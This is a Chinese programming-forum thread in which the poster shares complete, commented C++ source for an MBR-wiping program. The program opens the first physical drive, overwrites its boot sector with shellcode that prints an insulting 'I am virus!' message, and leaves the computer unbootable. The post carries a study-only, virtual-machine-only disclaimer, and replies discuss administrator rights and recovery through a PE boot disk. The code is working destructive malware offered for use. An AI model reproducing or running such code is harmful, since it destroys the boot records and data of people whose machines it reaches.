VC驿站

 找回密码
 加入驿站

QQ登录

只需一步,快速开始

搜索
查看: 284|回复: 6

[分享] 今日头一贴!修改MBR引导区,让你的电脑嗝屁!嗝屁!

[复制链接]
75_avatar_middle
最佳答案
18 
online_supermod 发表于 2020-2-16 01:17:21 | 显示全部楼层 |阅读模式
运行之前 请三思 ,,,,记得做好备份,最好是在虚拟机中测试,(一定要在虚拟机中测试)
                                                                      申明  
该代码作为学习研究用处,至于拿这个代码去搞破坏以及恶搞造成的后果你自己承担,作者不承担任何责任,驿站不承担任何责任,不承担任何责任,所有想研究之前三思,  改代码有详细的注释,并且在W7以及XP中运行过XP以上的平台,请使用管理权限,运行之后你就面对疾风吧!



#include <Windows.h>
#include<iostream>
using namespace std;
unsigned char scode[]=
        "\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
        "\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x41\x20\x61\x6d\x20\x76\x69\x72"
        "\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";
int KillMbr()
{
        HANDLE hDevice;//定义一个通用的句柄函数成员,在后面的CreateFile函数中用来接收我们打开(返回)的句柄
        DWORD deBytesWrite,dwByteReturned;//该变量的左右在后面的        DeviceIoControl函数中用来接收返回的字节数,
        BYTE pMbr[512]={0};//定义一个字节数组512并且初始化为0
        memcpy(pMbr,scode,sizeof(scode));//C和C++的拷贝函数,1是缓冲区,2是拷贝的原目标,通俗的讲就是讲2拷贝进1,并且3是拷贝的大小
        pMbr[510]=0x55;//设置引导区倒数第3个得值
        pMbr[511]=0xAA;
        hDevice=CreateFile("\\\\.\\PHYSICALDRIVE0",//打开本地计算机磁盘
                GENERIC_WRITE|GENERIC_READ,//设置读取和写入的
                FILE_SHARE_READ|FILE_SHARE_WRITE,//设置共享读和写
                NULL,//指向SECURITY_ARRBIBUTES结构的指针
                OPEN_EXISTING,//指向一个常数值
                0,//指向一个或多个常数   通常设置为空
                NULL
                );
        if (hDevice==INVALID_HANDLE_VALUE)//判断句柄返回值
        {
                return -1;
        }
        DeviceIoControl(//函数可直接发送控制代码到指定的设备驱动程序,使用相应的的设备执行相应的操作函数
                hDevice,//设备句柄
                FSCTL_LOCK_VOLUME,//锁定,该参数的原型是 CTL_CODE(FILE_DEVICE_FILE_SYSTEM,应用程序调用驱动程序的控制命令,就是IOCTL_XXX IOCTLS命令
                NULL,//应用程序传递给驱动成宿的数据换乘区地址
                0,//应用程序传递给驱动程序的缓冲区大小字节数
                NULL,//驱动程序返回个应用程序的数据缓冲区地址
                0,//驱动程序返回给应用程序的数据缓冲区大小字节
                &dwByteReturned,//驱动程序实际返回给应用程序数据字节数地址
                NULL//这个结构用于重叠结构针对同步操作
                );
        WriteFile(hDevice,//写入设备
                pMbr,//写如的缓冲区
                sizeof(pMbr),//大小缓冲区
                &deBytesWrite,//用来接收返回   实际写入的字节数(也就是该成员变量中得值是我们写入的具体字节数或保存在里面)
                NULL//假如指定了FILE_FLAG_OVERLAPPED的前提打开这个参数必须引用一个特殊结构,该结构定义了一次异步的写操作
                //否则该参数一般Wie空
                );
        DeviceIoControl(//该函数和上一个一样 注释将不再写第二次
                hDevice,
                FSCTL_LOCK_VOLUME,
                NULL,
                0,
                NULL,
                0,
                &dwByteReturned,
                NULL
                );
                CloseHandle(hDevice);//关闭一个通用句柄
        ExitProcess(NULL);//退出进程
        return 0;

}
       
int main()
{
        KillMbr();//调用我们自定义的函数可以写成void (return 0;就不用写了) 但是我这里写成int  都可以的

        return 0;//返回值 对应主函数的int
}




上一篇:来个驱动大佬帮忙看看,(已解决)
下一篇:今日一贴,驱动笔记-下的创建文件(详细注释)
58_avatar_middle
最佳答案
34 
online_vip 发表于 2020-2-16 08:31:45 | 显示全部楼层
用管理员权限编译行吗?
75_avatar_middle
最佳答案
18 
ico_lz  楼主| 发表于 2020-2-16 10:35:16 | 显示全部楼层
thzzl 发表于 2020-2-16 08:31
用管理员权限编译行吗?

你猜呢   试试呗今日头一贴!修改MBR引导区,让你的电脑嗝屁!嗝屁!    编程重在实践,
04_avatar_middle
最佳答案
2 
online_vip 发表于 2020-2-16 14:07:54 | 显示全部楼层
本帖最后由 xiao14116 于 2020-2-16 14:10 编辑

你就坏吧,当年江民公司就因为这个被罚的差点破产,然后就基本淡出杀毒市场了,不过现在就简单了,如果不幸中招了就进入PE系统然后用DG修复引导信息就行
01_avatar_middle
最佳答案
35 
online_admins 发表于 2020-2-16 14:34:12 | 显示全部楼层
我在虚拟机中试试今日头一贴!修改MBR引导区,让你的电脑嗝屁!嗝屁!
75_avatar_middle
最佳答案
18 
ico_lz  楼主| 发表于 2020-2-16 14:44:22 | 显示全部楼层
xiao14116 发表于 2020-2-16 14:07
你就坏吧,当年江民公司就因为这个被罚的差点破产,然后就基本淡出杀毒市场了,不过现在就简单了,如果不幸 ...

请看我  帖子中的 说的虚拟机中运行  虚拟机中  
75_avatar_middle
最佳答案
18 
ico_lz  楼主| 发表于 2020-2-16 14:44:45 | 显示全部楼层
admin 发表于 2020-2-16 14:34
我在虚拟机中试试

   试玩 来点 读后感啊
您需要登录后才可以回帖 登录 | 加入驿站 qq_login

本版积分规则

×【发帖 友情提示】
1、请回复有意义的内容,请勿恶意灌水;
2、纯数字、字母、表情等无意义的内容系统将自动删除;
3、若正常回复后帖子被自动删除,为系统误删的情况,请重新回复其他正常内容或等待管理员审核通过后会自动发布;
4、感谢您对VC驿站一如既往的支持,谢谢合作!

关闭

站长提醒上一条 /2 下一条

QQ|小黑屋|手机版|VC驿站 ( 辽ICP备09019393号 )|网站地图wx_jqr

GMT+8, 2020-7-9 15:05

Powered by CcTry.CoM

© 2009-2020 cctry.com

快速回复 返回顶部 返回列表